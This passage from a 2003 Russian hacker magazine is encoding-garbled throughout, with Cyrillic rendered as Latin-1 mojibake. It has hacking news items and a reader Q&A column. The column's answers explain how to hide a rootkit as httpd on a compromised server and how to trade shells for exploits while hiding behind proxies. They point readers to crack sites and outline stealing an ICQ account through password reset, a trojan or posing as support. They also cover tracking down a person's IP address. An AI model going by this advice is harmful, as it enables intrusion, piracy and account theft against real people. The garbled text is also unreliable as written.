ÿ ýòî. À Àðâèêà ïðèïëåë øóòêè ðàäè. Äà è àâòîðèòåò åìó ïîäíÿòü ÷òîá". Èçâåñòíî,<br />

ñêîëüêî "äîáðîæåëàòåëåé" ó íàøåãî èìåíèòîãî õýêêåðà, íåèçâåñòíî òîëüêî,<br />

÷òî îíè ïðèäóìàþò â ñëåäóþùèé ðàç. Äîâåäóò ñêîðî áåäíÿãó, îí ñîáñòâåííûìè<br />

ðóêàìè ñâîþ øêîëó<br />

õýêêåðîâ âçîðâåò. Êñòàòè,<br />

çíàÿ îá èíöèäåíòå,<br />

îïðîâåðãàòü ñâîþ ïðè-<br />

÷àñòíîñòü Àðâè íå ñòàë.<br />

Íåñìîòðÿ íà ñòîëü áåðåæíî<br />

îáåðåãàåìóþ<br />

ðåïóòàöèþ íîñèòåëÿ<br />

äîáðà è ñïðàâåäëèâîñòè.<br />

Ïðèÿòíî, íàâåðíîå,<br />

êóïàòüñÿ â ëó÷àõ ñëàâû...<br />

ïóñòü äàæå ñëåï-<br />

Îäèí èç âçëîìàííûõ ñàéòîâ - www.riaa.org<br />

ëåííîé ÷óæèìè ðóêàìè.<br />

ÍÅ ÏÈØÈ ÌÍÅ ÁÎËÜØÅ, ÌÀÌÀ<br />

Ïîêà àìåðèêàíñêèå ñîëäàòû íàòèðàþò ÿäîì øòûêè, ãîòîâÿñü ê çàâîåâàíèþ Èðàêà,<br />

èõ ïðàâèòåëüñòâî ïîäóìûâàåò î ìåðàõ ïðåäîñòîðîæíîñòè. Â Àìåðèêå èíåò<br />

óæå íå òîëüêî â êàæäîì îáùåñòâåííîì òóàëåòå ïðîòÿíóò, îí äîáðàëñÿ è äî êàçàðì<br />

â òûëó. Òàê ÷òî â ïåðåðûâàõ ìåæäó òðåíèðîâêàìè, ïåðåñòðåëêàìè è ïðî-<br />

÷èìè àðìåéñêèìè çàáàâàìè, ñïåöïîäðàçäåëåíèÿ ðàçâîäÿò ðóññêèõ äåâóøåê íà<br />

âèðòóàëüíûé ñåêñ è ïèøóò äîìîé, ÿêîáû èç ãîðÿùåãî òàíêà. Íàñ÷åò ñåêñà ïðàâèòåëüñòâî<br />

íå ïðîòèâ - âåäü ðåàëüíûé íåäîñòóïåí, ïóñòü õîòü òàê ïîòåøàòñÿ. À<br />

âîò ñ ïèñüìàìè òèïà îáîæäèòå. Îêàçûâàåòñÿ, ñîçíàòåëüíûå àìåðèêàíñêèå âîÿêè<br />

íåðåäêî øëþò ìàìå ñ ïàïîé ñåêðåòíóþ èíôîðìàöèþ, à òàêæå ñâîè ôîòêè íà<br />

ôîíå îõðàíÿåìûõ ïîçèöèé è ïðî÷åãî çàìàñêèðîâàííîãî âîîðóæåíèÿ.<br />

Íî âåäü âðàã íå äðåìëåò! Âïîëíå âîçìîæíî, çà ñîñåäíèì êóñòîì çàðûëñÿ òåððîðèñò,<br />

êîòîðûé ñ åõèäíîé óëûáî÷êîé ëîâèò òðàôèê ìîáèëüíîé àíòåííîé. Ïîêóìåêàâ<br />

íà ýòó òåìó, âûñîêîóïîëíîìî÷åííûå äåäû ðåøèëè - õðåí òåáå, ïåõîòà,<br />

à íå èíåò. È îòðóáèëè âñå ÷àñòè, ÷òî ðÿäîì ñ Èðàêîì, îò õàëÿâíîãî àíëèìà.<br />

Àøîïîäåëàòü - âîïðîñ íàöèîíàëüíîé áåçîïàñíîñòè :).<br />

ÔÀÏÑÈ ÏÓÑÒÈËÈ Â ÐÀÇÍÎÑ<br />

Åñëè êòî íå çíàåò, ÔÀÏÑÈ - ýòî îðãàíèçàöèÿ, çàíèìàþùàÿñÿ ïîääåðæêîé<br />

è ðàçâèòèåì èíôîðìàöèîííîé áåçîïàñíîñòè â Ðîññèè. ×åðåç íåå<br />

ïðîõîäÿò âñå ñåðòèôèêàòû êðèïòîãðàôè÷åñêèõ ñèñòåì è ëèöåíçèè íà<br />

ïðîèçâîäñòâî ñðåäñòâ ïî çàùèòå èíôîðìàöèè. Íî àêòóàëüíûì ýòî áûëî<br />

äî 11 ìàðòà. Èìåííî â ýòîò äåíü Âëàäèìèð Ïóòèí ïîäïèñàë óêàç î ðåîðãàíèçàöèè<br />

íåêîòîðûõ ñèëîâûõ ñòðóêòóð. Òåïåðü âñå ôóíêöèè è çàäà÷è<br />

ÔÀÏÑÈ ðàñïðåäåëèëè ìåæäó ÔÑÁ è Ìèíèñòåðñòâîì Îáîðîíû Ðîññèè.<br />

Ðàáîòàâøèå òàì ñïåöèàëèñòû, â ïðèíöèïå, íè÷åãî íå ïîòåðÿëè, ïðîñòî<br />

ðàáîòàòü îíè áóäóò íà íîâîì ìåñòå. Áûâøèé äèðåêòîð ÔÀÏÑÈ, íàïðèìåð,<br />

òåïåðü çàíèìàåò ïîñò â íîâîì êîìèòåòå ïðè Ìèíîáîðîíû, çàíèìà-<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

][ NEWS<br />

þùèìñÿ âîïðîñàìè èíôîðìàöèîííîé áåçîïàñíîñòè. Çà÷åì óáðàëè ÔÀÏ-<br />

ÑÈ, ÿ íå çíàþ, íî, î÷åâèäíî, ó "Áîëüøîãî Áðàòà" ñâîè ïðè÷èíû. Ìîæåò,<br />

êîãäà-íèáóäü ýòè ïðè÷èíû çàñòàâÿò åãî ðàñôîðìèðîâàòü ÔÑÁ...<br />

20 ËÅÒ ÇÀ ÂÇËÎÌ<br />

Òàêàÿ âîò îðãàíèçàöèÿ<br />

"Ïðèçíàåòñÿ âèíîâíûì è ïðèãîâàðèâàåòñÿ ê 20 ãîäàì òþðåìíîãî çàêëþ÷åíèÿ"<br />

- ýòîé ôðàçîé çàêîí÷èëàñü îäèññåÿ 29-ëåòíåãî Îëåãà Çèçîâà, ðåøèâøåãî áûñòðî<br />

ðàçáîãàòåòü. Áóäó÷è õàêåðîì, Îëåæåê íå ñòàë çàìîðà÷èâàòüñÿ ñ öèâèëüíîé<br />

ðàáîòîé, à ïîïðîáîâàë îòõàïàòü ñðàçó è ìíîãî. Äëÿ ýòîãî îí âçëîìàë êîìïüþòåðíóþ<br />

ñèñòåìó àìåðèêàíñêîãî èíôîðìàöèîííîãî àãåíòñòâà Bloomerg è, ñâÿçàâøèñü<br />

ñ åå ðóêîâîäèòåëåì Ìàéêëîì Áëóìåðãîì (êñòàòè, ìýð Íüþ-Éîðêà), ñ<br />

ãîòîâíîñòüþ ïðåäëîæèë ñâîè óñëóãè ïî çàëàòûâàíèþ äûð. Ïðè÷åì ïîïðîñèë çà<br />

ýòî íåìíîãî - 200 òûñÿ÷ äîëëàðîâ. Î÷åâèäíî, ïîíÿòèÿ î "íåìíîãî" ó êàçàõñòàíñêîãî<br />

âçëîìùèêà è àìåðèêàíñêîãî áèçíåñìåíà íå ñîâïàëè, ïîýòîìó ïîñëåäíèé<br />

âåæëèâî îòêàçàëñÿ. "Íý ïîíÿë, - âîçìóòèëñÿ Îëåã, - ÿ ñêàçàë 200 òûñÿ÷, èíà÷å<br />

âåñü èíåò óçíàåò î âàøèõ äûðàõ è çàîäíî óâèäèò âñþ êîíôèäåíöèàëüíóþ èíôó<br />

î êëèåíòàõ". Ìèñòåð Áëóìåðã ïîäóìàë è ðåøèë - íó ëàäíî, ãàä, áóäóò òåáå áàáêè.<br />

Ìåñòîì âñòðå÷è è ïåðåäà÷è íàëà âûáðàëè Ëîíäîí. Âçÿâ ìåøîê ïîáîëüøå,<br />

Çèçîâ ïîåõàë çà ïðåìèàëüíûìè... íî âìåñòî òîãî, ÷òîáû ïîëó÷èòü îáåùàííûå<br />

áàáëîñèêè, îêàçàëñÿ íà àìåðèêàíñêèõ íàðàõ. Ñóä óæå ñîñòîÿëñÿ, è ïðèñÿæíûå<br />

áûëè åäèíîäóøíû - âèíîâåí. Ìåëî÷èòüñÿ ùåäðûå àìåðèêàíöû íå ñòàëè è äàëè<br />

îò ÷èñòîãî ñåðäöà 20 ëåò çàêëþ÷åíèÿ. Ïîäóìàé, ìîë, çà ýòî âðåìÿ íàä ñâîèì<br />

íåõîðîøèì ïîâåäåíèåì. Íàñêîëüêî ÿ çíàþ, 20 ëåò íå âñÿêîìó ñåðèéíîìó<br />

óáèéöå äàþò. Îäíàêî íàäî æå ïðèëþäíî ïðîäåìîíñòðèðîâàòü ãàäêèì ðóññêèì<br />

õàêåðàì, ÷òî ñ íèìè áóäåò, êîëè ïîñÿãíóò íà ÷åñòü ãðàæäàí âåëèêîé äåðæàâû.<br />

ÏÐÎÄÎËÆÅÍÈÅ ÍÎÂÎÑÒÈ: ÌÀËÜ×ÈÊ-ØÊÎËÜÍÈÊ ÎÑÂÎÁÎÆÄÅÍ<br />

 ìàðòîâñêèõ íüþñàõ ÿ ðàññêàçûâàë ïðî 11-ëåòíåãî ïàðåíüêà, íàä êîòîðûì<br />

íàâèñëà óãðîçà òþðåìíîãî çàêëþ÷åíèÿ çà èñïðàâëåíèå îöåíîê íà øêîëüíîì<br />

êîìïüþòåðå. Ìåíÿ íàñòîëüêî çàäåë ýòîò ñëó÷àé, ÷òî ÿ ðåøèë óçíàòü, ÷òî òàì<br />

ïðîèçîøëî äàëüøå. Â îáùåì, âñå â ïîðÿäêå. Â çàùèòó ïàðåíüêà âûñòóïèëà<br />

îáùåñòâåííîñòü è ïðåññà, ìíîãèõ âîçìóòèëî, ÷òî êîìó-òî âîîáùå ìîãëà<br />

ïðèéòè â ãîëîâó ìûñëü ïîñàäèòü ïàöàíà çà ðåøåòêó çà òàêóþ åðóíäó. Åäèíñòâåííîå,<br />

÷åãî ïîòðåáîâàë ïðîêóðîð - èçâèíèòüñÿ â ïèñüìåííîì âèäå ïåðåä<br />

ó÷èòåëÿìè è íåñêîëüêî ÷àñîâ ïîðàáîòàòü äëÿ ãîñóäàðñòâà. Íåñìîòðÿ íà òî,<br />

÷òî ñðàçó ïîñëå àðåñòà ìàëü÷óãàíà âûïåðëè èç øêîëû, ìàðüâàííû, î÷åâèäíî,<br />

ðàñòðîãàííûå èçâèíåíèÿìè è ïå÷àëüíûìè ãëàçàìè Àðõèìà (à ñêîðåå íàïóãàííûå<br />

ðåàêöèåé îáùåñòâåííîñòè), ïðèãëàñèëè åãî îáðàòíî. "Âîçâðàùàéñÿ ê<br />

íàì, ìàëûø. Ìû òåáÿ òàê ëþáèì". Ãèåíû â þáêàõ. Ëàäíî, êîðî÷å, âñå, êòî ìåñÿö<br />

íàçàä âñïëàêíóë î íåñïðàâåäëèâîñòè ïî îòíîøåíèþ ê ïàðíþ - ìîæåòå<br />

ñïàòü ñïîêîéíî. Þíûé ãåðîé óæå âîâñþ ó÷èòñÿ, õîäèò ñî âñåìè êóøàòü â ñòîëîâóþ<br />

è áîëüøå íå ïîìûøëÿåò î ïîäîáíûõ ïðîäåëêàõ.<br />

1 2 3 4<br />

42 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÁÎËÒ ÍÀ ØÅÑÒÍÀÄÖÀÒÜ ÄËß ÂÅÁÕÓËÈÃÀÍÎÂ<br />

 Àìåðèêå íàøëè íîâûé ñïîñîá íàêàçàíèÿ êèáåðïðåñòóïíèêîâ. Òåïåðü, åñëè<br />

êàêîé-òî êóëõàöêåð èëè àôåðþãà ïîïàëñÿ íà ãîðÿ÷åì, îðãàíû ÑØÀ ñðàçó îòáèðàþò<br />

ó íåãî äîìåí. Ðàíüøå, êîíå÷íî, è ñàéòû ïðèêðûâàëè, íî òîëüêî íà îïðåäåëåííûõ<br />

õîñòèíãàõ. Õóëèãàíó äîñòàòî÷íî áûëî âîñïîëüçîâàòüñÿ óñëóãàìè<br />

äðóãîé êîìïàíèè, ÷òîáû âîçîáíîâèòü ðàáîòó ïàãè. Òåïåðü - èçâèíÿéòå. Áëþñòèòåëè<br />

ïîðÿäêà ìîãóò çà íåêóþ ïðîâèííîñòü îòîáðàòü ïðàâà íà äîìåííîå èìÿ<br />

ñàéòà, âçðàùèâàåìîãî ãîäàìè. Ýòî, íåñîìíåííî, äåéñòâåííûé ìåòîä, îñîáåííî<br />

ïðîòèâ òåõ ãîâíþêîâ,<br />

ó êîòîðûõ åñòü â Ñåòè<br />

÷òî-òî öåííîå. Äåïàðòàìåíò<br />

Þñòèöèè ÑØÀ óæå<br />

óñïåë îòîáðàòü íåñêîëü-<br />

Otobrano zakonom<br />

ibo nefig. FBR.<br />

ÏÅÐÂÛÉ ÎÑÓÆÄÅÍÍÛÉ<br />

êî äîìåíîâ ó òàêèõ âîò<br />

ðåáÿò. Íà òîì ìåñòå, ãäå<br />

ðàíüøå íàõîäèëñÿ ñàéò,<br />

ïîÿâëÿåòñÿ ñîîáùåíèå<br />

ôåäåðàëüíûõ ñëóæá,<br />

÷òî-òî òèïà: "Îòîáðàíî<br />

çàêîíîì èáî íåôèã".<br />

Äîëãîå âðåìÿ ïûëèëàñü â Óãîëîâíîì Êîäåêñå ÐÔ íåâîñòðåáîâàííàÿ 273-ÿ ñòàòüÿ.<br />

È âîò, íàêîíåö, íàøëè íà êîì èñïûòàòü. Âîîáùå, ñòàòüÿ ýòà èìååò íàçâàíèå<br />

"Ñîçäàíèå, èñïîëüçîâàíèå è ðàñïðîñòðàíåíèå âðåäîíîñíûõ ïðîãðàìì<br />

äëÿ ÝÂÌ" è ïðåäóñìàòðèâàåò îòâåòñòâåííîñòü çà âñÿêèå òàì âèðè è òðîÿíû.<br />

Íå òî ÷òîáû ó íàñ íè÷åãî òàêîãî íèêîãäà íå ïèñàëè, ïðîñòî ñàìè ïîíèìàåòå -<br />

â Ðîññèè æèâåì. Ïðîãðàììà Àíäðåÿ Ýðçÿéêèíà èç Ñàðàíñêà, çà êîòîðóþ îí<br />

ïîëó÷èë ãîä óñëîâíî, âåñüìà ýêçîòè÷íà. Íàïèñàííàÿ äëÿ êîíòðîëüíî-êàññîâûõ<br />

ìàøèí, îíà ïðåäîñòàâëÿëà âîçìîæíîñòü èçìåíèòü äàííûå ïî âûðó÷êå, äàòå è<br />

êîëè÷åñòâó ïîêóïîê. Ëó÷øèé äðóã äëÿ êàññèðîâ ñóïåðìàðêåòîâ :). Íî äàëüøå<br />

êîìïüþòåðà àâòîðà óòèëèòêà óéòè íå óñïåëà - Àíäðþøó ïîâÿçàëè. Àäâîêàò<br />

õîòåë áûëî óáåäèòü ñóäüþ, ÷òî êàññîâûé àïïàðàò íå ÝÂÌ âîâñå, à<br />

ñòàëî áûòü, íèêàê íå ïðèìåíèìà ê íåìó ýòà ñòàòüÿ. Íî âûáèòü ó íåãî ïðîùåíèå<br />

äëÿ ñâîåãî êëèåíòà òàê è íå óäàëîñü.<br />

ÑÏÀÌ ÄÀÂÈÒÜ!<br />

20 ìàðòà â Ñàí-Ôðàíöèñêî ïðîøëà ïåðâàÿ êîíôåðåíöèÿ Internet Engineering Task<br />

Force, ïîñâÿùåííàÿ ðåøåíèþ ïðîáëåìû ñïàìà â Ñåòè. IETF - îäíà èç ñàìûõ âëèÿòåëüíûõ<br />

îðãàíèçàöèé, ðåøàþùàÿ âñå âîïðîñû ïî ñòàíäàðòèçàöèè èíòåðíåò-òåõíîëîãèé.<br />

È ñ íåäàâíèõ ïîð îíà âçÿëà, íàêîíåö, êóðñ íà ïîèñê âàêöèíû ïðîòèâ ýëåêòðîííîãî<br />

ìóñîðà. Òàê êàê ñïàìåðû ïîñòîÿííî íàõîäÿò ñïîñîáû îáîéòè ôèëüòðû,<br />

îðãàíèçàöèÿ çàíèìàåòñÿ ïîèñêàìè ñîâåðøåííî íîâîãî ðåøåíèÿ. Âåðîÿòíî, ïîòðåáóåòñÿ<br />

ïîëíîñòüþ ïåðåðàáîòàòü ïî÷òîâûé ïðîòîêîë, íà ÷òî óéäåò íå îäèí ãîä.<br />

Êðîìå ýòîãî ñîòðóäíèêè IETF ðàáîòàþò íàä ïðîáëåìîé àíîíèìíîñòè ñïàìåðñêèõ<br />

ïèñåì. Ñåé÷àñ ïîääåëàòü ìåññàãó - ïðîùå ïðîñòîãî, íî êòî çíàåò, êàê îíî âñå áóäåò,<br />

åñëè ïîëíîñòüþ<br />

èçìåíèòñÿ ïðèíöèï<br />

ýëåêòðîííîé òðàíñïîðòèðîâêè.<br />

Áóäåì<br />

íàäåÿòüñÿ, ÷òî óìíûå<br />

ãîëîâû èç ÈÝÒÔ ïðèäóìàþò<br />

÷òî-íèáóäü<br />

ðåâîëþöèîííîå. À òî,<br />

íå çíàþ êàê âàñ, à ìåíÿ<br />

ñïàìåðû óæå çàäîëáàëè.<br />

Âñå íåïðî÷èòàííîå - âñå ñïàì!<br />

5 6 7<br />

Þíèêñîèä X-Ñòèëü


HACK-FAQ<br />

VEiDER (hack-faq@real.xakep.ru)<br />

Íà<br />

âçëîìàííîì ñåðâåðå<br />

ñòîèò apache. ß õî÷ó<br />

óñòàíîâèòü òàì ðóòêèò.<br />

Êàê åãî çàìàñêèðîâàòü<br />

ïîä httpd?<br />

A: Åñòü íåñêîëüêî âàðèàíòîâ. Ïåðâûé ñëó÷àé.<br />

Åñëè íà ýòîì ñåðâåðå óñòàíîâëåíî ìíîæåñòâî<br />

ñêðèïòîâ (perl/php), òî òû ìîæåøü çàëèòü ñâîé<br />

â íàäåæäå, ÷òî åãî íå îáíàðóæàò. Åñëè æå èõ íåìíîãî<br />

è ïîÿâëåíèå íîâîãî áóäåò îáÿçàòåëüíî<br />

çàìå÷åíî, òî èçìåíè ñóùåñòâóþùèå. Åñëè<br />

ñêðèïòîâ íå íàáëþäàåòñÿ âîîáùå, èëè òû ïîíÿòèÿ<br />

íå èìååøü, êàê ïèñàòü íà perl/php, òî åñòü è<br />

äðóãîé âàðèàíò. Ê ñ÷àñòüþ, apache èìååò îòêðûòûé<br />

èñõîäíûé êîä, è íèêòî íå ìåøàåò òåáå<br />

äîáàâèòü òóäà ïàðó ïîëåçíûõ "ôè÷", ïåðåñîáðàòü<br />

åãî è ïîäìåíèòü ñóùåñòâóþùèé.<br />

À ãäå ìîæíî<br />

íà õàëÿâó äîñòàòü<br />

íîðìàëüíûå ñâåæèå<br />

ýêñïëîèòû?<br />

A: Íà÷àòü ïîèñê, ÿ äóìàþ, ìîæíî ñ ðàçëè÷íûõ<br />

íîâîñòíûõ ïîðòàëîâ, âðîäå SecurityFocus.com,<br />

èëè ñïåöèàëèçèðîâàííûõ ôîðóìîâ. Êîíå÷íî, òàì<br />

òû íå íàéäåøü ïðèâàòíûõ ýêñïëîèòîâ äëÿ<br />

OpenBSD-current, íî, âîçìîæíî, îáíàðóæèøü<br />

advisories, äîêàçûâàþùèå ñóùåñòâîâàíèå êàêîéíèáóäü<br />

óÿçâèìîñòè (â ïîìîùü àäìèíàì, ÷òîáû<br />

îíè ñìîãëè ïðîâåðèòü ñâîè ñèñòåìû íà íàëè÷èå<br />

îøèáîê). Íå ñòîèò òàêæå çàáûâàòü ïðî ñàéòû<br />

õàê/security ãðóïï. Íà íèõ èíîãäà âàëÿþòñÿ èíòåðåñíûå<br />

ðåëèçû, ñðåäè êîòîðûõ åñòü è ýêñïëîèòû.<br />

Òàêæå â îäíîì èç íîìåðîâ X áûë îïèñàí ñïîñîá<br />

òðåéäèíãà ýêñïëîèòîâ. À âîò åùå îäèí âàðèàíò.<br />

Äîïóñòèì, ó òåáÿ íà êîìïå ñòîèò ëèíóêñ. Òû çàõîäèøü<br />

íà êàêîé-íèáóäü irc-êàíàë è ãðîìêî îáúÿâëÿåøü,<br />

÷òî çàíèìàåøüñÿ òðåéäèíãîì øåëëîâ â<br />

îáìåí íà ýêñïëîèòû. È âîò òàê, òîðãóÿ øåëëàìè<br />

íà ñåáå, ïîÿâëÿåòñÿ âîçìîæíîñòü ïîëó÷èòü íåñêîëüêî<br />

ïîëåçíûõ ýêñïëîèòîâ. Òîëüêî ïðè òàêîé<br />

ðàáîòå íå çàáûâàé ìåíÿòü íèêè è ïðîêñè :).<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Çàäàâàÿ âîïðîñû, êîíêðåòèçèðóé èõ. Äàâàé áîëüøå äàííûõ î<br />

ñèñòåìå, îïèñûâàé àáñîëþòíî âñå, ÷òî òû çíàåøü î íåé. Ýòî ìíå<br />

ïîìîæåò îòâåòèòü íà òâîè âîïðîñû è óêàçàòü òâîè îøèáêè. È íå ñòîèò<br />

çàäàâàòü âîïðîñîâ âðîäå “Êàê ñëîìàòü www-ñåðâåð?” èëè âîîáùå<br />

ïðîñèòü ó ìåíÿ “õàëÿâíîãî” Internet’à. ß âñå ðàâíî íå äàì, ÿ æàäíûé :)<br />

Ðàññêàæè, ãäå<br />

ìîæíî ïî÷èòàòü ýòè<br />

ñàìûå RFC? Ïðîñòî ][<br />

íà íèõ ÷àñòåíüêî<br />

ññûëàåòñÿ.<br />

A: RFC (Requests For Comments) ÿâëÿþòñÿ îñíîâîé<br />

òåõíè÷åñêîé äîêóìåíòàöèè. Íåìóäðåíî, ÷òî ê íèì<br />

òàê ÷àñòî îáðàùàþòñÿ. Ïî÷èòàòü RFC ìîæíî òóò -<br />

http://www.freesoft.org/CIE/RFC/ èëè òóò -<br />

ftp://ftp.isi.edu.<br />

Ñåé÷àñ ñòàë<br />

ðàñïðîñòðàíÿòüñÿ<br />

ïëàòíûé ñîôò ïîä<br />

ëèíóêñ. Íàïðèìåð,<br />

ïðîãðàììà igloo ftp<br />

pro. Ãäå áðàòü êðÿêè<br />

äëÿ íåâèíäîâûõ<br />

ïðèëîæåíèé?<br />

A: Íà ñàìîì äåëå íåò ðàçíèöû - âèíäîâûå êðÿêè<br />

èëè ëèíóêñîâûå. Âñå îíè ëåæàò íà òåõ æå êðóïíûõ<br />

ïîðòàëàõ. Ïðîáëåìà â äðóãîì - êàê áûñòðî îíè<br />

òàì ïîÿâÿòñÿ. À îáû÷íî õâàòàåò âñåãî íåñêîëüêèõ<br />

ñåðâåðîâ, âðîäå http://www.cracks.am èëè<br />

http://www.crack.ru. Åñëè æå òàì íè÷åãî íå íàéäåíî,<br />

òî ïðèäåòñÿ èñêàòü íà ñàéòàõ ñàìèõ êðÿêãðóïï,<br />

âðîäå DAMN.<br />

Åñòü øåëë, ÿ<br />

íà íåì äåëàþ su, à<br />

ïîëó÷àþ - su: unknown<br />

login root. Êàê ýòî<br />

unknown login?<br />

A: Ïðîñòî íà äàííîì êîìïå íåò ó÷åòíîé çàïèñè<br />

root. Âåäü íà ñàìîì äåëå îíà íå ÿâëÿåòñÿ<br />

îáÿçàòåëüíîé. Ñèñòåìå æå íóæåí ñàì ïîëüçîâàòåëü<br />

ñ uid'îì 0, à íå ïðèâû÷íîå äëÿ íàñ èìÿ<br />

root. Óòèëèòà su áåç àðãóìåíòîâ àíàëîãè÷íà çàïóñêó<br />

"su root", ïîýòîìó òû ïîëó÷àåøü ñîîáùåíèå<br />

îá îøèáêå. ×òîáû óçíàòü êàêîå æå èìÿ òåáå<br />

òðåáóåòñÿ, ïîñìîòðè â /etc/passwd è íàéäè<br />

ïîëüçîâàòåëÿ ñ íóëåâûì uid'îì. Äàëåå äåëàé<br />

"su ".<br />

ß íà õàëÿâó<br />

ñèæó ÷åðåç gprs ó<br />

îäíîãî èçâåñòíîãî<br />

ñîòîâîãî îïåðàòîðà, íî<br />

îí çàêðûë ÷àñòü<br />

ïîðòîâ (ftp), ïðàâäà<br />

àñüêà ïàøåò. Ìîæíî ëè<br />

ìíå ñêà÷àòü mp3?<br />

A: Äëÿ íà÷àëà ïîïðîáóé íàéòè http'øíîå çåðêàëî<br />

àðõèâà è ñïîêîéíî êà÷àé îòòóäà. Åñëè íå ïîëó-<br />

÷èòñÿ, âîñïîëüçóéñÿ ïðîêñåé (ïî òâîèì ñëîâàì,<br />

çàêðûò òîëüêî 21-ûé ïîðò). Íó à åñëè è ñ ïðîêñåé<br />

òóõëÿê, òî ïðèäåòñÿ âîñïîëüçîâàòüñÿ ñåðâèñîì<br />

ftp2mail è ïîëó÷èòü íóæíûé ôàéë ñåáå â ïî÷òîâûé<br />

ÿùèê, à îòòóäà óæå ñêà÷àòü ê ñåáå íà ìàøèíó.<br />

Õîòÿ âðÿä ëè, ÷òî âñå òàê ïëîõî ñëîæèòñÿ.<br />

ß õî÷ó<br />

íàó÷èòüñÿ íàõîäèòü<br />

îøèáêè â ñåòåâîì<br />

ñîôòå è ïèñàòü äëÿ<br />

íèõ ýêñïëîèòû. Êàêóþ<br />

ñåòåâóþ ëèòåðàòóðó<br />

ïîñîâåòóåøü<br />

ïî÷èòàòü, è ñàìîå<br />

ãëàâíîå, ãäå åå âçÿòü?<br />

A: Ðàç òû çàäàåøü òàêîé âîïðîñ, òî òû äîëæåí<br />

çíàòü Ñè è ðàçáèðàòüñÿ â àññåìáëåðå, ïîýòîìó<br />

êíèæêè ïî ïðîãðàììèðîâàíèþ ðåêîìåíäîâàòü<br />

íå áóäó. "Smashing The Stack For Fun And<br />

Profit" - î÷åíü õîðîøàÿ ñòàòüÿ äëÿ òîãî, ÷òîáû<br />

ïîíÿòü ñàìó ñóòü ïðîöåññà ïåðåïîëíåíèÿ ñòåêà.<br />

Åùå ìíîãî ïîëåçíûõ ñòàòåé åñòü íà ñåðâåðå<br />

http://www.neworder.box.sk â ðàçäåëå<br />

"Exploits & buffer over<strong>fl</strong>owing tutorials". Íà ñàéòå<br />

http://lbyte.void.ru åñòü íåïëîõîé ìàòåðèàë<br />

íà ðóññêîì ÿçûêå - "Modern kinds of system<br />

attacks". Ýòîãî äîëæíî õâàòèòü äëÿ íà÷àëà.<br />

Òàêæå íå ñòîèò çàáûâàòü î ïðàêòèêå. Âîçüìè<br />

çàâåäîìî äûðÿâûé ñåðâåð è ýêñïëîèò äëÿ íåãî.<br />

Òåïåðü ïîïðîáóé åãî âçëîìàòü, óáåäèñü,<br />

÷òî âñå ðàáîòàåò êàê äîëæíî: òû ïîëó÷àåøü îïðåäåëåííûå<br />

ïðèâèëåãèè, êîòîðûå äàåò òåáå<br />

ýêñïëîèò. Ïîòîì ïîñìîòðè, êàê íàïèñàí ýòîò<br />

ñàìûé ýêñïëîèò, êàêóþ óÿçâèìîñòü îí èñïîëüçóåò,<br />

è ïîïûòàéñÿ íàïèñàòü ñâîþ ðåàëèçàöèþ.<br />

 îáùåì, ïîçíàâàé âñå íà äåëå.<br />

1 2 3 4<br />

44 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


À ÷òî òàêîãî<br />

äåëàåò ðîóòåð, è<br />

ïî÷åìó îí<br />

ïðåïÿòñòâóåò<br />

ñíèôèíãó?<br />

A: Ðîóòåð íàïðàâëÿåò ïðèøåäøèå íà íåãî ïàêåòû<br />

â ñîîòâåòñòâèè ñ ïðîïèñàííîé òàáëèöåé ðîóòèíãà.<br />

Íà ðîóòåðàõ òàêæå ìîãóò óñòàíàâëèâàòüñÿ ôàåðâîëû,<br />

ðàçëè÷íûå óòèëèòû óïðàâëåíèåì êàíàëîì<br />

(traffic shaping). À ìåøàåò ðîóòåð ñíèôèíãó,<br />

ò.ê. îí øëåò ïðèøåäøèé ïàêåò íå ïî âñåì ïîðòàì,<br />

à òîëüêî â íåîáõîäèìûé.<br />

Äîïóñòèì, ÿ<br />

çíàþ e-mail ÷åëîâåêà<br />

â àñüêå. Ýòî ïîìîæåò<br />

ìíå ñòàùèòü åãî UIN?<br />

A: Òåîðåòè÷åñêè - äà. Çíàÿ e-mail, òû ìîæåøü<br />

ïðîñòî ïîïûòàòüñÿ åãî âçëîìàòü. Íàïðèìåð,<br />

÷åðåç ñëóæáó çàáûòûõ ïàðîëåé ïî÷òîâîé ñèñòåìû.<br />

Åñëè òàê íå ïîëó÷èòñÿ, òî åñòü âîçìîæíîñòü<br />

çàñëàòü åìó òðîÿí èëè ïðåäñòàâèòüñÿ<br />

ñëóæáîé ïîääåðæêè è ïîïðîáîâàòü óãîâîðèòü<br />

åãî ñêàçàòü ïàðîëü. Âñå ýòè ñïîñîáû óæå íåîäíîêðàòíî<br />

îïèñûâàëèñü, ÷òî-òî ñâåðõíîâîå â<br />

äàííîé îáëàñòè ïðèäóìàòü ñëîæíî.<br />

Ìîæíî ëè<br />

âû÷èñëèòü IP<br />

÷åëîâåêà, åñëè ÿ çíàþ,<br />

êàêèì ïðîâàéäåðîì îí<br />

ïîëüçóåòñÿ, è çíàþ,<br />

êîãäà îí ïîä íèì<br />

ñèäèò?<br />

A: Ìîæíî, íî òåáå ïîíàäîáèòñÿ íåìíîãî<br />

áîëüøå èíôîðìàöèè. Òû ãîâîðèøü, ÷òî çíàåøü,<br />

÷åðåç êàêîãî ïðîâàéäåðà îí çàõîäèò, ñëåäîâàòåëüíî,<br />

èñêàòü åãî íàäî â äèàïàçîíå IP<br />

ýòîãî êîíêðåòíîãî ïðîâàéäåðà. Äèàïàçîí IP<br />

âûÿñíÿåòñÿ ïðè ïîìîùè whois ñåðâèñà<br />

(http://www.ripn.net/nic/whois/about_whois.html<br />

- çäåñü îïèñàíû ïðàâèëà èñïîëüçîâàíèÿ ñåðâèñà<br />

è åñòü âîçìîæíîñòü âîñïîëüçîâàòüñÿ webèíòåðôåéñîì).<br />

Èòàê, òåïåðü òû çíàåøü, ãäå<br />

èñêàòü. Òåïåðü íàäî âûÿñíèòü, ÷òî èñêàòü :).<br />

Íåîáõîäèìî îáíàðóæèòü êàêèå-òî îòëè÷èòåëüíûå<br />

÷åðòû ýòîãî ïîëüçîâàòåëÿ. Íàïðèìåð, ýòî<br />

ìîæåò áûòü îòêðûòûé íåñòàíäàðòíûé ïîðò<br />

3212, íåîáû÷íîå NetBIOS èìÿ è ò.ä. Îäíàæäû<br />

âû÷èñëèâ ýòó èíôó, òåáå ïðèäåòñÿ êàæäûé ðàç<br />

èñêàòü åå âî âñåì äèàïàçîíå. Òàê ÷òî ýòîò ïðîöåññ<br />

